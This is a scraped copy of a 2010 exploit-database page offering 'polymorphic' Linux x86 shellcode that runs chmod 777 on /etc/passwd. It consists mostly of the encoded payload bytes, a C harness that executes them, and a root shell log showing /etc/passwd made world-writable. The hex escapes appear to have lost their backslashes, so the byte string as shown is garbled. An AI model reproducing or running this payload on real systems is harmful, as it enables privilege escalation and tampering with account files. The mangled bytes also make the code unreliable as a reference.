Home / os / win7

linux/x86 chmod 777 polymorphic shellcode 60 bytes

Posted on 17 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 chmod 777 polymorphic shellcode 60 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================================
linux/x86 chmod 777 polymorphic shellcode 60 bytes
==================================================


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name   : 60 bytes chmod 777 polymorphic x86 linux shellcode
Date   : Sat Jun  5 16:10:00 2010
Author : gunslinger_ &lt;yudha.gunslinger[at]gmail.com&gt;
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)
*/

/*
root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
-rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
root@localhost:/home/gunslinger/shellcode# gcc -o polymorphic_chmod polymorphic_chmod.c
chmod.c: In function ‘main’:
chmod.c:37: warning: incompatible implicit declaration of built-in function ‘strlen’
root@localhost:/home/gunslinger/shellcode# ./polymorphic_chmod
Length: 64
root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
-rwxrwxrwx 1 root root 1869 2010-05-08 15:53 /etc/passwd
root@localhost:/home/gunslinger/shellcode# chmod 644 /etc/passwd
root@localhost:/home/gunslinger/shellcode# ls -la /etc/passwd
-rw-r--r-- 1 root root 1869 2010-05-08 15:53 /etc/passwd
root@localhost:/home/gunslinger/shellcode# 
*/

#include &lt;stdio.h&gt;

char shellcode[] =
	&quot;xebx11x5ex31xc9xb1x27x80x6cx0exffx35x80xe9x01&quot;
	&quot;x75xf6xebx05xe8xeaxffxffxffx20x4ax66xf5xe5x44&quot;
	&quot;x90x66xfex9bxeex34x36x02xb5x66xf5xe5x36x66x10&quot;
	&quot;x02xb5x1dx1bx34x34x34x64x9axa9x98x64xa5x96xa8&quot;
	&quot;xa8xacx99&quot;;

int main(void)
{
       	fprintf(stdout,&quot;Length: %d
&quot;,strlen(shellcode));
	(*(void(*)()) shellcode)();
     
return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-17]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :